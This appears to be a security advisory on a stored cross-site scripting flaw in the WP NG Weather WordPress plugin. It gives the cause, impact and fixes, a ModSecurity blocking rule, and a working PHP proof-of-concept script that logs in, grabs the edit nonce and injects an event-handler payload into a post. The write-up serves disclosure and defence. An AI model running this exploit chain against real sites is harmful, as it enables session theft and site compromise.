Atomic Edge analysis of CVE-2026-1822 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WP NG Weather WordPress plugin. The ‘ng-weather’ shortcode fails to properly sanitize user-supplied attributes. Attackers with contributor-level or higher permissions can inject malicious scripts into posts or pages. These scripts execute when a visitor views the compromised content. The CVSS score of 6.4 (Medium) reflects the need for authentication and the scope change impact.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping on shortcode attributes. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description states the issue exists in all versions up to and including 1.0.9. Without a code diff, Atomic Edge cannot confirm the exact vulnerable function. The likely cause is the plugin’s shortcode handler using user input in `add_shortcode(‘ng-weather’, …)` without applying `esc_attr()` or `wp_kses()` to attribute values before output.
Exploitation requires an authenticated user with at least the ‘contributor’ role. The attacker edits or creates a post, inserting the ‘[ng-weather]’ shortcode with malicious attributes. For example, an attacker could craft a payload like `[ng-weather custom_attr=” onmouseover=alert(document.domain) “]`. When the post is published and viewed, the script executes in the victim’s browser. The attack vector is the WordPress post editor, and the payload is stored in the database.
Remediation requires proper output escaping or input sanitization on all user-controlled shortcode attributes. The plugin should use WordPress core functions like `esc_attr()` when echoing attribute values in HTML contexts. Alternatively, the plugin could implement input validation using `sanitize_text_field()` or a whitelist of allowed values for known-safe attributes. A patch would involve modifying the shortcode callback function to escape all dynamic values before they are printed to the page.
The impact of successful exploitation is client-side code execution in the context of the affected page. An attacker can steal session cookies, perform actions as the victim user, deface the site, or redirect users to malicious domains. The stored nature means a single injection affects all visitors to the compromised page. The ‘contributor’ access requirement limits the attack surface to users granted posting privileges.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-1822 (metadata-based)
# This rule blocks attempts to exploit the stored XSS via the WordPress post editor.
# It targets POST requests to the post update handler containing the malicious shortcode.
SecRule REQUEST_URI "@streq /wp-admin/post.php"
"id:20261822,phase:2,deny,status:403,chain,msg:'CVE-2026-1822: WP NG Weather Stored XSS via Shortcode',severity:'CRITICAL',tag:'CVE-2026-1822',tag:'WordPress',tag:'Plugin:wp-ng-weather',tag:'Attack:XSS'"
SecRule ARGS_POST:action "@streq editpost" "chain"
SecRule ARGS_POST:content "@rx \[ng-weather[^\]]*?\b(on\w+\s*=|\s*style\s*=)"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1822 - WP NG Weather <= 1.0.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
// CONFIGURATION
$target_url = 'http://example.com/wp-login.php';
$username = 'contributor_user';
$password = 'contributor_pass';
$post_id = 123; // ID of a post the contributor can edit
$payload = '[ng-weather test="" onmouseover="alert(document.domain)"]'; // XSS payload in a shortcode attribute
// Initialize session and cookie jar
$cookie_jar = tempnam(sys_get_temp_dir(), 'cve-2026-1822-cookies');
$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC/1.0');
// Step 1: Authenticate to WordPress
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'http://example.com/wp-admin/',
'testcookie' => '1'
)));
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die('Authentication failed. Check credentials.');
}
// Step 2: Retrieve the edit page for the target post to get a valid nonce.
// Assumption: The contributor accesses the classic editor via /wp-admin/post.php?post=ID&action=edit.
// The nonce for saving is named '_wpnonce' and found in a meta tag or hidden field.
curl_setopt($ch, CURLOPT_URL, 'http://example.com/wp-admin/post.php?post=' . $post_id . '&action=edit');
curl_setopt($ch, CURLOPT_POST, false);
$edit_page = curl_exec($ch);
// Extract nonce for updating the post (simplified regex, assumes standard nonce field).
// In a real scenario, you would parse the HTML for the correct nonce field (e.g., meta name='_wpnonce' or hidden input).
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $edit_page, $nonce_matches);
if (empty($nonce_matches[1])) {
die('Could not extract nonce from edit page. The user may not have edit permissions or the editor is block-based.');
}
$nonce = $nonce_matches[1];
// Step 3: Update the post content with the malicious shortcode.
// This PoC assumes the classic editor and uses the 'content' parameter.
curl_setopt($ch, CURLOPT_URL, 'http://example.com/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'post_ID' => $post_id,
'content' => $payload,
'action' => 'editpost',
'_wpnonce' => $nonce,
'save' => 'Update'
)));
$update_response = curl_exec($ch);
if (strpos($update_response, 'Post updated.') !== false || strpos($update_response, 'Post published.') !== false) {
echo 'Success! Injected XSS payload into post ID ' . $post_id . '.n';
echo 'Visit http://example.com/?p=' . $post_id . ' to trigger the script.n';
} else {
echo 'Post update may have failed. Check permissions or nonce.n';
}
// Cleanup
curl_close($ch);
unlink($cookie_jar);
?>